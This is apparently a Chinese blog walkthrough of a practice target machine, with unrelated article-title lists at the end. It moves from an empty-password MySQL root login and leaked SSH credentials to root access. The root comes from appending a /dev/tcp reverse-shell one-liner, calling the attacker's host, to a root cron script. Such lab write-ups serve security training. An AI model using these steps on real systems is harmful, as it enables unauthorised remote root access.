靶机地址:172.16.1.192

Kali

目录扫描

查看info.php

端口扫描

开放3306,尝试弱密码或爆破mysql。

账户为root,密码为空,成功登陆。

查看数据库;再查看ssh表

查看表中内容

得到Mistic testP@$$swordmistic

还开放有22端口,尝试登陆。登陆出错几次发现,账户名为小写。

登陆成功

尝试执行命令发现:不能执行sudo没有git、wget命令,也无法suid提权

查看家目录下边的文件,仅有一个.sh文件

使用curl,下载个枚举脚本看看

赋予脚本执行权限,并执行

发现在mistic用户目录下的logrot.sh是在计划任务内存中一个每3分钟以root权限运行的脚本

至此有了提权思路:以此由root执行的计划任务脚本为线索,利用从而得到root权限

思路:添加使用nc反弹shell的代码到logrot.sh文件中,在kali上监听一个端口以获得shell

先写入反向shell代码

  echo "0<&126-;exec 126<>/dev/tcp/172.16.1.107/1234;sh <&126 >&126 2>&126 " >> logrot.sh

  *格式说明:echo nc -e /bin/bash 攻击者IP 端口 > 计划任务所执行的脚本

再在Kali监听端口,过一段时间后获取shell。查看为root权限

最后获取flag,完成。

最新文章

  1. springboot 注入Servlet,Filter,Listener的方法
  2. 在Abp中执行sql语句
  3. 精致3D图片切换效果,最适合企业产品展示
  4. [译]Mongoose指南 - Connection
  5. Asp.Net_Web身份验证
  6. [Flex] PopUpButton系列 —— 将DataGrid作为弹出内容
  7. lintcode : find peak element 寻找峰值
  8. Sqlserver 关于游标
  9. C语言结构体赋值2
  10. 20160501--struts2入门2
  11. IHS怎么通过80端口连接WAS——&lt;转&gt;
  12. COJ 0200 Fibonacci
  13. Git双机同步
  14. 【前端】:jQuery实例
  15. win10 uwp 进度条 WaveProgressControl
  16. python 保存命令执行结果
  17. AsyncTask 进行耗时操作和UI 更新
  18. Django中的csrf基础了解
  19. ssh框架中.xml文件小技巧分离xml
  20. matlabr2015b安装教程

热门文章

  1. java物流查询接口测试代码-快递100
  2. TensorFlow v2.0的基本张量操作
  3. Oracle12C的卸载过程
  4. 大O 表示法
  5. 电脑网络诊断显示Win10无法与设备或资源(DNS)通信解决办法
  6. 一些常用关键字的用法(一.static)
  7. Python——交互式图形编程
  8. js生成一个指定范围内的随机整数
  9. vue使用axios发送post请求时的坑及解决原理
  10. Please enter a commit message to explain why this merge is necessary, # especially if it merges an updated upstream into a topic branch. # # Lines starting with &#39;#&#39; will be ignored, and an empty messa